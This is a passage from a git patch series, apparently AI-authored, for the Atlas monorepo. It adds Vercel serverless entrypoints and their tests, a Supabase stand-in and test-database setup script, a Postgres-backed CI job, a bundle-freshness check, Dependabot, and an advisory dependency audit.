app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'matching-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'matching-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/referrals/src/index.ts b/services/referrals/src/index.ts index 08d1828..d89d1fc 100644 --- a/services/referrals/src/index.ts +++ b/services/referrals/src/index.ts @@ -1,27 +1,33 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadReferralsServiceEnv } from './env.js'; import { registerConsumers } from './worker.js'; -async function main(): Promise { - const env = loadReferralsServiceEnv(); - const logger = createLogger({ service: 'referrals-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadReferralsServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'referrals-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); +// Consumers register in every runtime, as before. A failed subscription fails +// module load loudly, the same way a bad config does. +const subscriptions = await registerConsumers({ db, broker, logger }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -35,8 +41,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/referrals/test/entrypoint.test.ts b/services/referrals/test/entrypoint.test.ts new file mode 100644 index 0000000..c368e28 --- /dev/null +++ b/services/referrals/test/entrypoint.test.ts @@ -0,0 +1,186 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; +import type * as Worker from '../src/worker.js'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, + consumers: [] as string[], +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +vi.mock('../src/worker.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + registerConsumers: async (deps: Parameters[0]) => { + const subscriptions = await actual.registerConsumers(deps); + for (const subscription of subscriptions) { + tracked.consumers.push(subscription.consumer); + tracked.closers.push(() => subscription.stop()); + } + return subscriptions; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + REFERRALS_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + tracked.consumers.length = 0; + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('referrals-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('still registers its event consumers on Vercel', async () => { + await loadEntrypoint(); + + expect(tracked.consumers.length).toBeGreaterThan(0); + for (const consumer of tracked.consumers) expect(consumer).toMatch(/^referrals-service\./); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'referrals-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'referrals-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'referrals-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); From 5ff681609dde6a976d811857f4432ef888876078 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:18 +0000 Subject: [PATCH 05/91] ci(db): add Supabase stand-in and test database setup script The DB-backed integration suites need more than a bare Postgres: the tests insert into Supabase's auth.users, which fires handle_new_user from packages/db/supabase/auth-hooks.sql, and that file references the supabase_auth_admin, authenticated and anon roles. infra/ci/supabase-stub.sql provides just those pieces (NOLOGIN roles, schema auth, and an auth.users table with the columns the tests and the trigger use). It is idempotent and refuses to run if the database looks like a real Supabase project (auth.schema_migrations or auth.identities present). scripts/ci/setup-test-db.sh runs the whole recipe against DATABASE_URL: the stub, pnpm db:migrate, then auth-hooks.sql. It is re-runnable: auth-hooks.sql adds a foreign key without IF NOT EXISTS, so the script drops that constraint first. CI and developers use the same script. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- infra/ci/supabase-stub.sql | 77 +++++++++++++++++++++++++++++++++++++ scripts/ci/setup-test-db.sh | 72 ++++++++++++++++++++++++++++++++++ 2 files changed, 149 insertions(+) create mode 100644 infra/ci/supabase-stub.sql create mode 100755 scripts/ci/setup-test-db.sh diff --git a/infra/ci/supabase-stub.sql b/infra/ci/supabase-stub.sql new file mode 100644 index 0000000..4550f0e --- /dev/null +++ b/infra/ci/supabase-stub.sql @@ -0,0 +1,77 @@ +-- Minimal stand-in for the parts of Supabase that Atlas' database layer +-- depends on, so a plain Postgres can run the DB-backed integration tests. +-- +-- CI / LOCAL TEST DATABASES ONLY. NEVER apply this to a real Supabase project +-- or to any production/staging database: there, `auth` is owned and migrated +-- by Supabase (GoTrue) and these roles already exist with real privileges. +-- The guard below refuses to run if it detects a real Supabase auth schema. +-- +-- Why it exists: packages/db/supabase/auth-hooks.sql (applied after +-- `pnpm db:migrate`) adds a foreign key from public.users to auth.users and a +-- trigger on auth.users, and grants to Supabase's roles. A vanilla Postgres has +-- none of those, and the integration tests create their users by inserting into +-- auth.users (which fires handle_new_user). This file provides exactly that: +-- +-- * the roles auth-hooks.sql grants to / revokes from (NOLOGIN, so they are +-- inert: they can own grants but nobody can connect as them); +-- * schema `auth` and a table `auth.users` with the columns the tests insert +-- and handle_new_user reads. Types follow Supabase's real auth.users; the +-- rest of GoTrue's columns (encrypted_password, identities, ...) are +-- deliberately omitted because nothing here reads them. +-- +-- Not emulated: GoTrue itself, JWT issuing, auth.uid()/auth.jwt(), RLS. The +-- tests mint their own JWTs against a stubbed JWKS instead. +-- +-- Idempotent: safe to run repeatedly. Order of use (scripts/ci/setup-test-db.sh): +-- 1. this file 2. `pnpm db:migrate` 3. packages/db/supabase/auth-hooks.sql + +BEGIN; + +-- Refuse to run against a real Supabase database. GoTrue's own bookkeeping +-- tables exist there and never exist in a stand-in created by this file. +DO $$ +BEGIN + IF to_regclass('auth.schema_migrations') IS NOT NULL + OR to_regclass('auth.identities') IS NOT NULL THEN + RAISE EXCEPTION + 'supabase-stub.sql: this looks like a real Supabase database (auth.schema_migrations / auth.identities exist). Refusing to continue; this stub is for throwaway CI/test databases only.'; + END IF; +END +$$; + +-- Roles referenced by auth-hooks.sql. Roles are cluster-wide, so create them +-- only when missing (and tolerate a concurrent creator). +DO $$ +DECLARE + role_name text; +BEGIN + FOREACH role_name IN ARRAY ARRAY['supabase_auth_admin', 'authenticated', 'anon'] LOOP + IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = role_name) THEN + BEGIN + EXECUTE format('CREATE ROLE %I NOLOGIN', role_name); + EXCEPTION WHEN duplicate_object THEN + NULL; -- created concurrently by another session; that is fine + END; + END IF; + END LOOP; +END +$$; + +CREATE SCHEMA IF NOT EXISTS auth; + +-- Column subset of Supabase's auth.users, with the same types. No defaults on +-- created_at/updated_at: as in Supabase, the inserting side supplies them. +CREATE TABLE IF NOT EXISTS auth.users ( + instance_id uuid, + id uuid PRIMARY KEY, + aud varchar(255), + role varchar(255), + email varchar(255), + email_confirmed_at timestamptz, + raw_app_meta_data jsonb, + raw_user_meta_data jsonb, + created_at timestamptz, + updated_at timestamptz +); + +COMMIT; diff --git a/scripts/ci/setup-test-db.sh b/scripts/ci/setup-test-db.sh new file mode 100755 index 0000000..eb6d2ba --- /dev/null +++ b/scripts/ci/setup-test-db.sh @@ -0,0 +1,72 @@ +#!/usr/bin/env bash +# +# Prepare a throwaway Postgres for the DB-backed integration tests. CI and +# developers run the same commands, so "works on my machine" and "passes in CI" +# mean the same thing. +# +# DATABASE_URL=postgres://atlas:atlas@localhost:5432/atlas_test \ +# scripts/ci/setup-test-db.sh +# ATLAS_TEST_DATABASE_URL=postgres://atlas:atlas@localhost:5432/atlas_test pnpm test +# +# Requirements: a reachable Postgres 16+ with the pgvector extension available, +# a superuser connection (extensions and roles are created), `psql` and `pnpm` +# on PATH, and dependencies installed (`pnpm install`). The database itself must +# already exist (the CI service container and docker-compose create it). +# +# What it does, in order (all steps are idempotent, so re-running is safe): +# 1. infra/ci/supabase-stub.sql roles + auth.users stand-in +# 2. pnpm db:migrate extensions + Drizzle migrations +# 3. packages/db/supabase/auth-hooks.sql FK + handle_new_user trigger + hook +# +# CI/test databases only. Step 1 refuses to run on a real Supabase database, +# but point DATABASE_URL at a scratch database anyway, never at one you care +# about: the tests insert and delete rows. + +set -euo pipefail + +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +cd "$repo_root" + +if [[ -z "${DATABASE_URL:-}" ]]; then + echo "setup-test-db: DATABASE_URL is required, e.g." >&2 + echo " DATABASE_URL=postgres://atlas:atlas@localhost:5432/atlas_test $0" >&2 + exit 1 +fi + +for tool in psql pnpm; do + if ! command -v "$tool" >/dev/null 2>&1; then + echo "setup-test-db: '$tool' not found on PATH" >&2 + exit 1 + fi +done + +# Show where we are about to write, with any password masked. +redacted_url="$(printf '%s' "$DATABASE_URL" | sed -E 's#(://[^:/@]*):[^@]*@#\1:***@#')" +echo "setup-test-db: target ${redacted_url}" + +# Idempotent re-runs emit a NOTICE per "already exists, skipping"; keep real +# warnings and errors, drop that noise from the log. +export PGOPTIONS="${PGOPTIONS:-} -c client_min_messages=warning" + +# -X: ignore ~/.psqlrc so behaviour is identical everywhere. ON_ERROR_STOP makes +# any SQL error fail the script instead of being printed and skipped. +run_psql() { + psql "$DATABASE_URL" -X -q -v ON_ERROR_STOP=1 "$@" +} + +echo "==> [1/3] Supabase stand-in (roles, auth.users)" +run_psql -f infra/ci/supabase-stub.sql + +echo "==> [2/3] Migrations (extensions + Drizzle)" +# migrate.ts reads DATABASE_URL from the environment, which is already set. +pnpm db:migrate + +echo "==> [3/3] Auth hooks (users FK, handle_new_user trigger, access-token hook)" +# auth-hooks.sql does a plain `add constraint users_user_id_fkey`, which fails +# on a second run. Dropping it first makes this step re-runnable; the rest of +# the file is create-or-replace / drop-and-create already. +run_psql -c 'alter table public.users drop constraint if exists users_user_id_fkey' +run_psql -f packages/db/supabase/auth-hooks.sql + +echo "setup-test-db: done. Run the suites with:" +echo " ATLAS_TEST_DATABASE_URL= pnpm test" From fcd6252108d8375d589ad1324af21d12209d45b2 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:28 +0000 Subject: [PATCH 06/91] ci: run DB-backed integration tests against a Postgres service The backend job had no Postgres, so 10 test files (58 tests) self-skipped and still reported green. Add a pgvector/pgvector:pg17 service container (same image as docker-compose.yml) with a TCP health check, prepare it with scripts/ci/setup-test-db.sh, and set ATLAS_TEST_DATABASE_URL so the suites actually run. The test step is renamed and the stale 'skipped' comment removed. Also set workflow-level permissions to contents: read and a 20 minute job timeout. The database credentials are throwaway values for an ephemeral service container, not secrets. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .github/workflows/ci.yml | 50 ++++++++++++++++++++++++++++++++++++---- 1 file changed, 46 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 9a9ccac..ff07520 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -15,10 +15,46 @@ concurrency: group: ci-${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true +# Nothing here writes to the repo or to PRs; checkout is the only token use. +permissions: + contents: read + jobs: backend: name: Backend (typecheck, lint, test) runs-on: ubuntu-latest + timeout-minutes: 20 + + env: + # Setting this is what turns the DB-backed integration suites on: they + # self-skip (and still report green) when it is unset. The credentials + # are for the throwaway service container below, which only exists for + # the duration of this job and is not reachable from outside it, so + # they are not secrets. + ATLAS_TEST_DATABASE_URL: postgres://atlas:atlas@localhost:5432/atlas_test + + services: + # Same image as docker-compose.yml (pgvector bundled; pg_trgm and + # pgcrypto ship with Postgres contrib). The user is the container's + # superuser, which migrate.ts needs for CREATE EXTENSION. + postgres: + image: pgvector/pgvector:pg17 + env: + POSTGRES_USER: atlas + POSTGRES_PASSWORD: atlas + POSTGRES_DB: atlas_test + ports: + - 5432:5432 + # -h 127.0.0.1 forces a TCP check. During first start the image runs a + # temporary server that listens only on a unix socket; a socket check + # would report healthy too early and the next step would get + # "connection refused" while the real server restarts. + options: >- + --health-cmd "pg_isready -h 127.0.0.1 -U atlas -d atlas_test" + --health-interval 5s + --health-timeout 5s + --health-retries 20 + steps: - uses: actions/checkout@v4 @@ -41,10 +77,16 @@ jobs: - name: Lint (whole repo) run: pnpm lint - # DB-backed integration suites self-skip without ATLAS_TEST_DATABASE_URL - # (see .env.example) — no Postgres service is wired up in this job yet, - # so those suites report as skipped here, not passing. - - name: Test (backend, DB-backed suites skipped) + # Supabase is not available here, so this applies a minimal stand-in + # (roles + auth.users; infra/ci/supabase-stub.sql), then the real + # migrations, then packages/db/supabase/auth-hooks.sql. The same script + # works locally: see its header. + - name: Prepare test database (Supabase stand-in, migrations, auth hooks) + env: + DATABASE_URL: ${{ env.ATLAS_TEST_DATABASE_URL }} + run: bash scripts/ci/setup-test-db.sh + + - name: Test (backend, including DB-backed integration suites) run: pnpm test frontend: From 1ced4a7e71e2e1cf7b2ab60493bb32b3793e9f29 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:38 +0000 Subject: [PATCH 07/91] ci: fail when the committed api/ bundles are stale Vercel deploys the committed api/*/index.js bundles, not the output of a build step (see the header of scripts/bundle-backend.mjs), so a source or packages/* change that is merged without re-bundling ships old code. Rebuild in CI and fail if the result differs from what is committed. New bundles are registered with git add --intent-to-add first: a plain git diff --exit-code does not see untracked files, so a newly added service would pass unnoticed. The failure message says to run node scripts/bundle-backend.mjs and commit api/. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .github/workflows/ci.yml | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index ff07520..2e7987d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -89,6 +89,27 @@ jobs: - name: Test (backend, including DB-backed integration suites) run: pnpm test + # api/*/index.js are committed esbuild bundles (see the header of + # scripts/bundle-backend.mjs): Vercel deploys what is in git, not what a + # build step would produce. Rebuild here and fail if the result differs, + # so a source or packages/* change cannot ship with stale bundles. + - name: Check committed api/ bundles are up to date + run: | + node scripts/bundle-backend.mjs + # Mark brand-new bundles (untracked) as intent-to-add so git diff + # sees them too, not just modified ones. + git add --intent-to-add --all -- api + if ! git diff --exit-code --stat -- api; then + echo "::error title=Stale api/ bundles::The committed api/*/index.js bundles do not match the current sources." + echo "" + echo "The committed Vercel bundles are out of date with the code in this change." + echo "Fix: run node scripts/bundle-backend.mjs locally, then commit the updated api/ files." + echo "" + echo "First 200 lines of the difference:" + git --no-pager diff -- api | head -n 200 + exit 1 + fi + frontend: name: Frontend (typecheck, build) runs-on: ubuntu-latest From 7d1e3f1bbd2d8a35d6f9b767670a81bacd6b46d5 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:47 +0000 Subject: [PATCH 08/91] ci: add Dependabot and a non-blocking dependency audit Dependabot: weekly npm (pnpm workspace root) and github-actions updates. Minor and patch bumps are grouped per dependency type; majors open their own PRs. Open-PR limits are 5 and 3, and commit messages use conventional prefixes. Audit: a separate job runs pnpm audit --prod --audit-level=high with continue-on-error, so it reports without gating. It reads only the lockfile and needs no install. It does exit non-zero today (3 critical and 5 high advisories on production dependencies), which is why it must not block the build. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .github/dependabot.yml | 49 ++++++++++++++++++++++++++++++++++++++++ .github/workflows/ci.yml | 22 ++++++++++++++++++ 2 files changed, 71 insertions(+) create mode 100644 .github/dependabot.yml diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..9b0ce57 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,49 @@ +# Automated dependency update PRs. Kept deliberately quiet: one weekly pass, +# minor/patch bumps batched into a single PR per group, and a low cap on open +# PRs so a backlog cannot bury review of real work. +# +# Major-version bumps are NOT grouped: each opens its own PR so its breaking +# changes get reviewed on their own (and so one risky major cannot hold up a +# batch of safe patches). +# +# Every Dependabot PR runs the normal CI gate (typecheck, lint, tests including +# the DB-backed suites, bundle freshness). A dependency bump that changes a +# service's bundled dependencies will fail the "api/ bundles are up to date" +# check until `node scripts/bundle-backend.mjs` is re-run and committed. + +version: 2 + +updates: + # pnpm workspace: Dependabot reads pnpm-lock.yaml and pnpm-workspace.yaml at + # the root and updates every package in the workspace from this one entry. + - package-ecosystem: npm + directory: / + schedule: + interval: weekly + day: monday + time: '06:00' + timezone: Etc/UTC + open-pull-requests-limit: 5 + commit-message: + prefix: 'chore(deps)' + groups: + production-dependencies: + dependency-type: production + update-types: [minor, patch] + development-dependencies: + dependency-type: development + update-types: [minor, patch] + + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly + day: monday + time: '06:00' + timezone: Etc/UTC + open-pull-requests-limit: 3 + commit-message: + prefix: 'chore(ci)' + groups: + github-actions: + patterns: ['*'] diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2e7987d..10af6b6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -146,3 +146,25 @@ jobs: NEXT_PUBLIC_SUPABASE_URL: https://qkqllkfgxsmhjintkqfm.supabase.co NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY: sb_publishable_DGb1kAEeNl_w2Tbk9gT2rA_M75FcXhv run: pnpm --filter ${{ matrix.app }} run build + + # Advisory only. Failing the build on every high-severity advisory in a + # transitive dependency would block unrelated changes (and launch) on + # upstream fixes we cannot ship ourselves, so this reports without gating. + # Read the log, and treat a finding in a direct dependency as a to-do. + # Reads only the lockfile, so no install is needed and it runs in parallel. + audit: + name: Dependency audit (non-blocking) + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + + - uses: pnpm/action-setup@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - name: Audit production dependencies (high and above) + continue-on-error: true + run: pnpm audit --prod --audit-level=high From c149c9d7d3f7ef07ce878173f4e4bf6954e2971c Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:53 +0000 Subject: [PATCH 09/91] docs(progress): record that CI now runs the DB-backed suites (pending first run) Update the Verified baseline bullets and the Known gaps CI bullet: CI now provisions Postgres and sets ATLAS_TEST_DATABASE_URL, and also checks bundle freshness and runs an advisory audit. All of it is marked pending first CI run because it was rehearsed locally on Postgres 16 and has not been observed in GitHub Actions. Skip counts corrected to the measured 10 files / 58 tests. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- docs/15_progress.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/15_progress.md b/docs/15_progress.md index 50384d0..d4caa13 100644 --- a/docs/15_progress.md +++ b/docs/15_progress.md @@ -6,9 +6,9 @@ Verified 2026-10-27 by running the checks below, not by reading commit messages. ## Verified baseline - `pnpm typecheck`, `pnpm lint`: clean. -- `pnpm test` with `ATLAS_TEST_DATABASE_URL` set: 28 files, 183 tests pass. -- Without that variable the DB-backed suites self-skip (9 files, 51 tests before this change), and CI does not set it, so **CI does not exercise them**. -- To run them locally: Postgres 16 with `vector`, `pgcrypto`, `pg_trgm`, a stand-in `auth.users` table, `pnpm db:migrate`, then `packages/db/supabase/auth-hooks.sql`. +- `pnpm test` with `ATLAS_TEST_DATABASE_URL` set: 28 files, 183 tests pass, 0 skipped (re-run against a fresh database prepared by `scripts/ci/setup-test-db.sh`). +- Without that variable the DB-backed suites self-skip (10 files, 58 tests). The CI backend job now starts a `pgvector/pgvector:pg17` service, prepares it with `scripts/ci/setup-test-db.sh` and sets the variable, so they are meant to run on every push and PR. **Pending first CI run:** rehearsed locally on Postgres 16, not yet observed in GitHub Actions. +- To run them locally: `DATABASE_URL= scripts/ci/setup-test-db.sh` (stand-in roles and `auth.users` from `infra/ci/supabase-stub.sql`, then `pnpm db:migrate`, then `packages/db/supabase/auth-hooks.sql`), then `ATLAS_TEST_DATABASE_URL= pnpm test`. ## By priority (`CLAUDE.md`) @@ -26,7 +26,7 @@ Verified 2026-10-27 by running the checks below, not by reading commit messages. - **Not in code at all:** GraphQL, WebSocket, Kafka, Redis client, OpenTelemetry (docs/01, 04, 14 describe them). - **Rate limiting** uses Fastify's default in-memory store, so limits are per instance, not shared. Needs a shared store before it means much on serverless. - **`connectors-service`** is built and tested but is not in `scripts/bundle-backend.mjs` or `vercel.json`, so it is not deployed. `apps/web` connectors page is a placeholder. -- **CI** runs no DB-backed tests (no Postgres service in the workflow). +- **CI** now runs the DB-backed tests (Postgres service in the backend job). It also checks that the committed `api/` bundles are fresh and runs an advisory, non-blocking `pnpm audit`, which currently reports advisories. All three are **pending first CI run**; none has been observed in GitHub Actions. - **Application agent** (form filling, submission) is not implemented; `applications-service` tracks lifecycle only. - Several web dashboard pages render `UnderConstruction`. From 6916121d79797d6ae478a83e374a5bc673d053e4 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:01:42 +0000 Subject: [PATCH 10/91] fix(auth): use shared Vercel handler and default PORT on Vercel services/auth called loadAuthServiceEnv() with no serverless default, so on Vercel (which provides no PORT) it threw a ConfigError at module load unless PORT was set by hand in the project env. Use withServerlessEnvDefaults() like the other services and replace the inline handler with the shared createVercelHandler, which also guards a failed boot against an unhandled rejection at cold start. Adds the service's first test, an entrypoint test mirroring the other services (loads without PORT, exports a handler, serves /health, local mode still listens). Removing the PORT default fails 4 of its 5 cases. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/auth/src/index.ts | 14 +-- services/auth/test/entrypoint.test.ts | 160 ++++++++++++++++++++++++++ 2 files changed, 164 insertions(+), 10 deletions(-) create mode 100644 services/auth/test/entrypoint.test.ts diff --git a/services/auth/src/index.ts b/services/auth/src/index.ts index 1a4889c..2558a9d 100644 --- a/services/auth/src/index.ts +++ b/services/auth/src/index.ts @@ -1,25 +1,19 @@ -import type { IncomingMessage, ServerResponse } from 'node:http'; import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadAuthServiceEnv } from './env.js'; -const env = loadAuthServiceEnv(); +const env = loadAuthServiceEnv(withServerlessEnvDefaults()); const logger = createLogger({ service: 'auth-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); const tokenVerifier = createTokenVerifierConfig(env); export const app = buildApp({ db, sql, env, logger, tokenVerifier }); -const ready = app.ready(); // Vercel invokes this module as a serverless request handler — it never calls -// app.listen(), so the app must be dispatched onto the request/response pair -// it hands us instead of a bound socket. -export default async function handler(req: IncomingMessage, res: ServerResponse): Promise { - await ready; - app.server.emit('request', req, res); -} +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); if (!process.env.VERCEL) { const shutdown = async (signal: string): 